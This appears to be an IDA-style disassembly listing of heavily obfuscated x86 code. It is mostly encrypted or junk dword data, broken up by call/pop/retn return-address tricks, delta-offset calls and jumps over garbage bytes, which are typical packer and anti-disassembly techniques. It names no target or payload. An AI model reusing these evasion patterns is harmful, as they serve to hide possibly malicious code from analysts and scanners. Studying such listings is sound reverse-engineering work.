		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		sbb	bl, 42h
		lea	ecx, [ebp+5D14CBDh]
		push	0
		push	eax
		call	sub_5B317C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B317C	proc near		; CODE XREF: ud2_____:005B3174p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5B317C	endp

; ---------------------------------------------------------------------------
		dd 0FF7E2FAEh, 66FD73Eh, 0E9E1FFEDh, 0Eh, 91AAD0C8h, 0DE5B9F44h
		dd 32FF62D5h, 0BD837224h, 5D10679h, 9A840F00h, 8B000004h
		dd 0D114059Dh, 0C5BB6605h, 79BD8353h, 105D106h,	49E840Fh
		dd 83F90000h, 0D10679BDh, 860F0305h, 45Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 3CC35343h, 2ACD7B98h
		dd 604D7DBDh, 1C31BD23h, 8C6605D1h, 56006AD9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 4E180B3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C2C35242h, 0C6B52EB7h
		dd 9989FAC1h, 0FE0D380h, 58Bh, 0E3DBBF00h, 0C90A5310h
		dd 1AD840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 840F50C3h, 14h, 0FE9h, 0FB4AFF00h
		dd 8693F545h, 0B586B97Fh, 470ACB2Eh, 11959D2Bh,	858B05D1h
		dd 5D11731h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	33C35141h, 0E843D388h, 6, 53BEA2E2h, 8D890768h
		dd 5D11E95h, 7185335Fh,	6A05D10Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F235C351h
		dd 0E8B77528h, 14h, 17BA7716h, 9E0871D5h, 0A3408FCDh, 0F33E03A5h
		dd 0CBB6E9EAh, 73F78166h, 9D895F45h, 5D116B9h, 8A0F90h
		dd 50000000h, 0F90FFB7h, 583h, 0DB816600h, 6A15D0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 41C35747h, 182DEF8Dh
		dd 0E8D1DF80h, 4, 1F03FFh, 0EE85250h, 8A000000h, 0F62C5CCh
		dd 0D223ADFEh, 0EF8D41C2h, 0F52502Dh, 5B585A31h, 8E0F310Fh
		dd 2, 585ADE8Bh, 0DF8B6650h, 424448Bh, 0AEF6BF66h, 0BF66008Bh
		dd 44895B33h, 0BB660424h, 0FF5882E8h, 0D1111D95h, 3F88B05h
		dd 0D114659Dh, 13858905h, 6A05D483h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0E999C351h
		dd 9A2BB05Bh, 898D6CD0h, 0D121B995h, 1EDE905h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0A0D823C3h, 0BCC825A8h, 8B2848CAh, 0D4830B85h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD8BA1F5h, 5D1123Dh, 1800C7h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E860CBC3h
		dd 6, 190BF134h, 0B58B91C4h, 5D11B21h, 81666159h, 8BEE5FD7h
		dd 0D4830FB5h, 71BD2905h, 8B05D122h, 0D122A985h, 89A7B705h
		dd 0E5B58906h, 8B05D11Ch, 0D1173185h, 4468905h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 81C35747h, 853D7404h
		dd 5A21B460h, 3820Fh, 8B660000h, 14E9F8h, 0F9810000h, 22BB1079h
		dd 5CE6B5CEh, 8B4569ADh, 0EF79AEF2h, 50960299h,	9FBF6652h
		dd 0BF310FC7h, 4E5A667Ah, 5650585Ah, 0FE952h, 0EDE20000h
		dd 0A2A05237h, 0B2E4A0C4h, 0F88D40D9h, 965B5FE9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4FC35747h, 37BE1E79h
		dd 9E86Dh, 78B60000h, 5A40A16h,	313B95B0h, 0D108A585h
		dd 81665F05h, 0FF1D7FF7h, 0D4830BB5h, 49196805h, 0BB66A13Eh
		dd 48118C8h, 0E0BAE624h, 0EB81665Eh, 0BD8BC8F6h, 5D13021h
		dd 8313858Dh, 15005D4h,	0D1310DB5h, 9D8B5B05h, 5D10C49h
		dd 8918B750h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 327264C3h, 0FA4F9659h, 0BD8B1517h
		dd 5D10FF5h, 111D95FFh,	6A05D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 25C6D1C3h, 3535006h
		dd 0D11D699Dh, 615B5B05h, 0C7DFBF0Fh, 0D1067985h, 305h
		dd 11E900h, 0E1710000h,	7A8E4920h, 3A9BF491h, 20D1A785h
		dd 836B6D99h, 0D48313BDh, 840F0005h, 2Eh, 1529BD8Bh, 3EE905D1h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 6515C356h, 28A058FCh, 305063D3h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 6E9C0h, 0BA20000h, 9FF202F0h, 18C5BD89h, 958905D1h
		dd 5D12239h, 679BD83h, 0F0305D1h, 4B385h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 831F0848h, 0D48313BDh, 840F0005h, 488h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 10C35343h, 0A9071F37h
		dd 0BF3350F0h, 67FFDE1Ch, 8313B5FFh, 0BD2905D4h, 5D10B6Dh
		dd 2FD95FFh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 62F50AC3h, 0FFB8BDFh, 384h, 0DFBF0F00h
		dd 8307B58Bh, 0BD2B05D4h, 5D1010Dh, 106C7h, 6A0001h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0D7A199C3h, 0CEC20178h, 8A0FA995h, 3, 96D6E780h, 87BB6660h
		dd 9AD7BE59h, 506105F4h, 79C9CBBFh, 0F98B9641h,	10319D33h
		dd 0B5FF05D1h, 5D48313h, 1449BD8Bh, 95FF05D1h, 5D10681h
		dd 8307B58Bh, 8F0F05D4h, 18h, 13E9h, 57533B00h,	0F4EAC41Ch
		dd 6786CB5Ah, 0B5D2BC70h, 0EFE794D2h, 1791858Bh, 6A05D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 8F60A6C3h, 4DB3FE3Dh, 850FF121h, 5, 0FCC38166h, 0C48689E7h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 138BC356h, 3CB55C8Eh, 0AE976h
		dd 4D150000h, 0E3CA79E3h, 0BEB6024Ch, 24C1BD8Bh, 958B05D1h
		dd 5D11021h, 0EDC38166h, 4C2832Eh, 52C78166h, 20508957h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 78C35242h
		dd 7E883h, 6DFB0000h, 0F6B339C5h, 0E8F55BD4h, 9, 0A255890Eh
		dd 0F7A4EC67h, 619D8B39h, 5B05D10Bh, 9631858Dh,	6A05D4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0E4351EC3h, 0EA385BF1h, 1CD99D8Bh, 868905D1h, 0B8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 9FC35141h
		dd 0DE9DA8Bh, 3D000000h, 4198D2F1h, 0A2581E8Bh,	0AE27D34Ch
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 87D565C3h, 2CF88AEDh, 0B5FFAC8Dh,	5D48313h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0FC35747h
		dd 9DC425ACh, 78947DFAh, 14D5BD8Bh, 8B6605D1h, 0F595FFF8h
		dd 305D131h, 0D100B19Dh, 5BD0905h, 5005D10Bh, 7E8h, 76FEB600h
		dd 877A4C9Bh, 2860Fh, 5F560000h, 2434895Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 45C35242h, 62CDB2Eh, 0CB444D5Ch, 1599D8Bh
		dd 0B5FF05D1h, 5D48313h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 45C35646h, 0F569E03h,	193EE9A2h, 0C08160F1h
		dd 0CC01F66h, 6464BB60h, 870F1BF2h, 0
; ---------------------------------------------------------------------------
		popa
		popa
		cmc
		call	dword ptr [ebp+5D102D5h]
		jmp	loc_5B3A04
; ---------------------------------------------------------------------------
		dw 831Ah
		dd 0E43CE3FAh, 0B8CDF19Eh, 53755C4Eh, 709FF369h
; ---------------------------------------------------------------------------


loc_5B3A04:				; CODE XREF: ud2_____:005B39EDj
		cmp	dword ptr [ebp+5D11F7Dh], 0
		jz	loc_5B3A63
		push	ecx
		sbb	ebx, 6E6DF1B7h
		pop	ebx
		push	eax
		jmp	loc_5B3A2E
; ---------------------------------------------------------------------------
		db 11h
		dd 0F8C9B33Ah, 0A4E4D2E5h, 61B145AFh
		db 96h,	67h
; ---------------------------------------------------------------------------


loc_5B3A2E:				; CODE XREF: ud2_____:005B3A1Aj
		mov	[esp], esi
		push	0
		push	ebx
		call	sub_5B3A3C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3A3C	proc near		; CODE XREF: ud2_____:005B3A34p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5B3A3C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 68h,	0E9h, 10h
		dd 85000000h, 2FB561EEh, 82ED4F1Fh, 0DC77F89Bh
		db 0BEh, 0E5h, 58h
; ---------------------------------------------------------------------------


loc_5B3A63:				; CODE XREF: ud2_____:005B3A0Bj
		push	dword ptr [ebp+5D48313h]
		push	0
		push	edx
		call	sub_5B3A74
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3A74	proc near		; CODE XREF: ud2_____:005B3A6Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B3A74	endp

; ---------------------------------------------------------------------------
		dd 10E88A8Fh, 9A000000h, 921F1C00h, 3AE0E2FFh, 4777191Ch
		dd 8B67AF16h, 0D125A9BDh, 95FF5F05h, 5D11359h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 62C35646h, 0BD8BCA82h
		dd 5D12639h, 8313B5FFh,	9D8B05D4h, 5D119D5h, 1D3995FFh
		dd 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 48FE30C3h, 0A13C71Ch, 0BD03F01Fh,	5D109D5h
		dd 1B3DBD8Bh, 0BD8305D1h, 5D1070Dh, 22840F02h, 8B000000h
		dd 0D117A585h, 5BD8905h, 0E905D127h, 8,	0BC8FF90Fh, 42980DC3h
		dd 660000C6h, 8B66D88Bh, 5585C7F9h, 5D11Fh, 0F000000h
		dd 1387h, 0EE900h, 7E840000h, 4B26A166h, 9A64423Dh, 0A934A9B3h
		dd 0FFF319E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 6AC18B5Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0DA96C350h
		dd 7636BB74h, 0E96AC3A3h, 0Ah, 0BDFCB87Bh, 3985AC6Fh, 858D6FF3h
		dd 5D1068Dh, 11E9h, 0B7154700h,	1F65B65Bh, 71557E65h, 3EF15188h
		dd 0E85099D1h, 5, 25C4ED71h, 5FDA8B6Ch,	6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 3350C352h, 0B30C7B29h, 665A4CFBh, 9589DA8Bh,	5D121B5h
		dd 8F0F006Ah, 6, 0D4D9589h, 8B0F05D1h, 6, 2B2D8D89h, 6A05D1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C35242h
		dd 0C6E0BB66h, 9FC2858Dh, 6A05D5h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 9A1C4DC3h, 4BDA477Bh
		dd 0BD895E31h, 5D12609h, 13FD8529h, 0C08305D1h,	0EE905h
		dd 0A3A00000h, 9650ED45h, 0EC1672C0h, 3DA62D65h, 6A905090h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0A06CC350h, 2DABB33Ch, 6E9025Ch, 22000000h
		dd 0F6717BDCh, 6A006ACAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7A8DC357h, 6A28F91Eh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0D0919E04h, 0DF81AE9Dh, 0F820EE7h, 1B3995FFh
		dd 6A05D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0EB187EC3h, 30B76939h, 81CF8D8Dh,	6A05D4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 89BB0AC3h, 0D1186DB5h, 0F8D1FF05h, 20E9BD83h, 0F0105D1h
		dd 7585h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 86476763h, 26A08BBh, 10E9h, 0A2567B00h
		dd 198D936Ah, 0FFA73326h, 409266E1h, 48950CCh, 299D8B24h
		dd 0FF05D112h, 0D131F595h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 8E8C0h, 0B3C40000h
		dd 0BE431613h, 0BF0FC002h, 62E95FDFh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D59FCCh
		mov	bl, 7Ah
		push	0
		push	edx
		call	sub_5B3E08
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3E08	proc near		; CODE XREF: ud2_____:005B3E00p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5B3E08	endp

; ---------------------------------------------------------------------------
		dd 0A0DF3467h, 94390CE9h, 13E984h, 6C480000h, 0E298AD65h
		dd 261E71B3h, 0A90CF97Ah, 0E50A315Fh, 0B1858D2Ch, 5105D472h
		dd 0AF59D8Bh, 905F05D1h, 88A0Fh, 66600000h, 608C64BAh
		dd 0F506161h, 286h, 90DE8B00h, 1501B529h, 0FF6405D1h, 35h
		dd 12E800h, 0F20D0000h,	0EC3974D0h, 0CE11F616h,	0E4DBE6EAh
		dd 0A0F5C00Fh, 30C1B529h, 15B05D1h, 0D11DA585h,	25896405h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5B3EA3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3EA3	proc near		; CODE XREF: ud2_____:005B3E9Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5B3EA3	endp

; ---------------------------------------------------------------------------
		db 19h
		dd 0D4437422h, 0FFA99109h, 0D1271985h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 9240181Dh, 516132EAh, 0BD8B6A28h, 5D10971h, 0B12C26BBh
		dd 6AFF6A19h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0ED92C355h, 14A9B5FFh,	63BF05D1h
		dd 0FF50BAE3h, 0D1127995h, 156E905h, 8D290000h,	5D11DA5h
		dd 8B6600B0h, 8970E6D9h, 0D10F11B5h, 0F571E405h, 830F613Ch
		dd 138h, 0FFB8B66h, 0E952C8B6h,	7, 1707BDA4h, 5FC88C98h
		dd 0DE9h, 2AD15100h, 0C31BC1C9h, 80014622h, 6BAD08Ch, 0F000000h
		dd 1782h, 12E900h, 1670000h, 0FE3558D7h, 537E3B7Bh, 0FA5D2C28h
		dd 0AE6FB3Dh, 89F9C18Bh, 0D1318D8Dh, 4E8C105h, 0A9BD8B52h
		dd 5F05D10Bh, 0E9E2F766h, 0Fh, 28516132h, 3C99616Ah, 0BA58C6FAh
		dd 2B171D12h, 58D0FC8h,	0BB000000h, 73E7ABCh, 0BD89D18Bh
		dd 5D11641h, 0ABE9h, 8E900h, 3020000h, 9639EEEDh, 858B8F6Fh
		dd 1, 5E9h, 0AA096F00h,	0C083B820h, 6E907h, 74B20000h
		dd 0AB09FE53h, 0E900C083h, 0Ah,	0A5E3D967h, 6DF59743h
		dd 0BD8B4B4Fh, 5D11141h, 830FD03Bh, 21h, 0BE9h,	0D5962F00h
		dd 9E3B5BEAh, 0D4BD8B9Eh, 4BE9h, 958D8900h, 8905D130h
		dd 0D11205BDh, 0FF8D8B05h, 0F5FFFFFFh, 0F01E183h, 2F84h
		dd 0CE900h, 0AF910000h,	0AF008368h, 95E0C321h, 0A583C4EBh
		dd 0FFFFFFFFh, 81B589FEh, 8905D117h, 195h, 758D8900h, 0E905D124h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+5D51AB0h]
		pusha
		jmp	loc_5B408E
; ---------------------------------------------------------------------------
		dd 6226165Ch
		db 32h,	69h
; ---------------------------------------------------------------------------


loc_5B408E:				; CODE XREF: ud2_____:005B4083j
		mov	[ebp+5D11BADh],	edx
		popa
		push	0
		push	0
		push	esi
		call	sub_5B40A2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B40A2	proc near		; CODE XREF: ud2_____:005B409Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5B40A2	endp

; ---------------------------------------------------------------------------
		dw 0D1F3h
		dd 10DD5BF4h, 10459D31h, 95FF05D1h, 5D12459h, 0CCB98DB3h
		dd 8B000010h, 0D1145DBDh, 0FCE18305h, 14E9h, 71BDD600h
		dd 0F688E060h, 8A90FC3h, 7EC1E2A6h, 49B76399h, 5E8FC3Bh
		dd 0E8000000h, 68D90A7Dh, 6E3B39BFh, 0B85F63h, 89000000h
		dd 0D13159B5h, 0BA05h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0BB66E3C3h, 0DF8BADA9h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6AFA8Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0EC3D45C3h, 66C402DAh, 177DD781h, 1CBDBD8Bh,	880D05D1h
		dd 8B000000h, 0D117B59Dh, 0B832BB05h, 958B1493h, 5D11021h
		dd 8BFEB70Fh, 0D11C098Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 89377088h
		dd 0D10EF9BDh, 0C28B5005h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0A856C352h, 18A7860Bh,	6A5CCAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0C2B03CC3h, 0B2B0CC67h, 49BD83CDh, 5D100h, 77840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0E40604C3h, 0A39AA88h, 0B87DB37Dh, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+5D10711h]
		and	edi, 736D7BC1h
		lea	ecx, [ebp+5D14CBDh]
		push	0
		push	eax
		call	sub_5B4259
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4259	proc near		; CODE XREF: ud2_____:005B4251p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5B4259	endp

; ---------------------------------------------------------------------------
		db 71h,	0D6h, 0DFh
		dd 0A6B17012h, 8BE1FF89h, 0D114E1BDh, 0BE905h, 0B23A0000h
		dd 261A9EDFh, 0A9AB8FBEh, 79BD837Ch, 5D106h, 4E9840Fh
		dd 0EE90000h, 1D000000h, 0A5C5E17Ch, 0AEBF3F5h,	0C820467h
		dd 79BD8388h, 105D106h,	4E4840Fh, 0C3800000h, 79BD83F3h
		dd 305D106h, 49E860Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0BCA851C3h, 10E9AAh
		dd 0D3870000h, 6C948130h, 0BB236411h, 821231B7h, 6A60219Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 1415C357h, 0D4A99346h, 0D98C66EFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 16C35242h, 7441CB3Bh
		dd 896E5D38h, 0D11F5985h, 11E96005h, 94000000h,	768102D9h
		dd 38897B94h, 0C92B5518h, 0F9395BE0h, 8061CE8Bh, 840F04E1h
		dd 6, 1396EF81h, 9D8B247Bh, 5D127B1h, 840FC90Ah, 171h
		dd 13E9h, 0BD225800h, 1AAA4B25h, 23DA2F8Ah, 575DE391h
		dd 58B09276h, 5E9h, 0E3629100h,	858BCD24h, 5D11731h, 48CD381h
		dd 0BF0F4722h, 718533D9h, 0E905D10Eh, 9, 0DF4618F3h, 0CA480CC2h
		dd 0B98589ECh, 9005D111h, 9F2A0BFh, 6A905078h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2060C353h, 1DB77E5Eh, 23C1BD8Bh, 6A05D1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 41C35141h, 10E9F0h
		dd 57DA0000h, 1F35DB9Dh, 0AB09475h, 2B84343Eh, 81666B3Eh
		dd 68FFEFF7h, 8EC842C7h, 481F88Bh, 56C13824h, 51006A71h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8D29A813h, 5D11585h,	111D95FFh, 6A05D1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3653ECC3h
		dd 0A60C207Eh, 12E8E6FEh, 0E6000000h, 43E8B6F4h, 0D903CEA8h
		dd 0ED71A0D7h, 906C25C4h, 85095F87h, 5D12B31h, 13E9h, 63F86700h
		dd 1179A884h, 144BCF4Fh, 0C89863ECh, 0BBDE89B9h, 83138589h
		dd 0BD8B05D4h, 5D11349h, 1D9E9h, 10E800h, 30F10000h, 0CF0D58BFh
		dd 92F42299h, 3FA6FF36h, 0BD23EE60h, 5D10A7Dh, 0B858B5Bh
		dd 8B05D483h, 0D11519BDh, 1800C705h, 8B000000h,	0D4830FB5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0A29CB46Dh, 8B444528h, 0D122A985h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0FCABD475h, 0CB80D88Bh, 6A068987h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0FAA6C352h
		dd 0A569CD28h, 31858B61h, 6A05D117h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 4CC5C355h
		dd 68E0FFCh, 89000000h,	0D1193DBDh, 4468905h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 40C35141h, 353EED13h
		dd 0BF4BD804h, 9650960Dh, 16C5B589h, 0B5FF05D1h, 5D4830Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E5C35040h
		dd 60B142D8h, 987E5E20h, 8840Fh, 9500000h, 0D116019Dh
		dd 4E85B05h, 0FF000000h, 0B7001F03h, 5250506Ch,	0FFB8B66h
		dd 178C0F31h, 0E8000000h, 11h, 4CC5BEBCh, 843171FCh, 1F1774D6h
		dd 0A2BFFA27h, 585A5BB9h, 424448Bh, 810Fh, 8B0000h, 0AE9h
		dd 0F33E0300h, 0CBB6E9EAh, 8990EEF2h, 0BF042444h, 0BCA06A6h
		dd 0B9958958h, 8D05D111h, 0D4831385h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 5060B80Fh, 89D98B66h, 33502404h, 0D12201BDh,	95FF5F05h
		dd 5D1111Dh, 1E7D9D8Bh,	6A6105D1h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0BE87C353h
		dd 0FC40F87Eh, 67985C7h, 305D1h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 1FFB34C3h
		dd 0EC0373BBh, 83A96A20h, 0D48313BDh, 840F0005h, 58h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 39C35242h, 0E26C2FACh
		dd 6830Fh, 0B5890000h, 5D12A6Dh, 42E9h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 69C073AAh, 0BB4FF252h, 120A4E3Eh, 110C3050h,	1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 0D11F759Dh
		dd 8D9D3105h, 8305D10Eh, 0D10679BDh, 850F0305h,	350h, 8313BD83h
		dd 0F0005D4h, 34384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F863A02h, 0B5FFDFB7h
		dd 5D48313h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0A7C35545h, 0AE21C0FBh,	0FFB45DAEh, 0D102FD95h
		dd 7B58B05h, 0F05D483h,	6C7DABFh, 10001h, 9D9531h, 0BB9605D1h
		dd 8F5EC46h, 0AE950h, 43110000h, 6DA38823h, 964442DDh
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 924BCD82h, 260AC873h, 0D98B762Eh, 8313B5FFh
		dd 9D8B05D4h, 5D10E75h,	20219529h, 95FF05D1h, 5D10681h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EAC35545h
		dd 742C1184h, 26ABD6E5h, 20E0BB66h, 1FA9BD33h, 0B58B05D1h
		dd 5D48307h, 95896060h,	5D11ED1h, 1B0D858Bh, 616105D1h
		dd 1791858Bh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0F3FFDC3h, 78Ch,	18E0F00h, 0F8000000h
		dd 0C48689h, 8B660000h,	21958BFBh, 2905D110h, 0D126F98Dh
		dd 4C28305h, 388ABB66h,	31205089h, 0D1121985h, 31858D05h
		dd 8905D496h, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 91361C89h, 0FA8B82B8h
		dd 830F006Ah, 8, 0D9D8B56h, 5F05D120h, 8313B5FFh, 0DB8105D4h
		dd 7E129470h, 31F595FFh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 7A6870C3h, 0F98B66ABh
		dd 8B9630B7h, 0F5350FEh, 68Bh, 8E0F00h,	5F000000h, 13B5FF96h
		dd 6A05D483h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 12BEC356h, 16F9BD8Bh, 95FF05D1h
		dd 5D102D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	7DC35242h, 1F7DBD83h, 0F0005D1h, 3B84h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 6EB4E723h, 19BD8BECh, 8B05D10Bh, 0D125999Dh,	0C3816605h
		dd 89504A68h, 85892434h, 5D10089h, 8313B5FFh, 95FF05D4h
		dd 5D11359h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
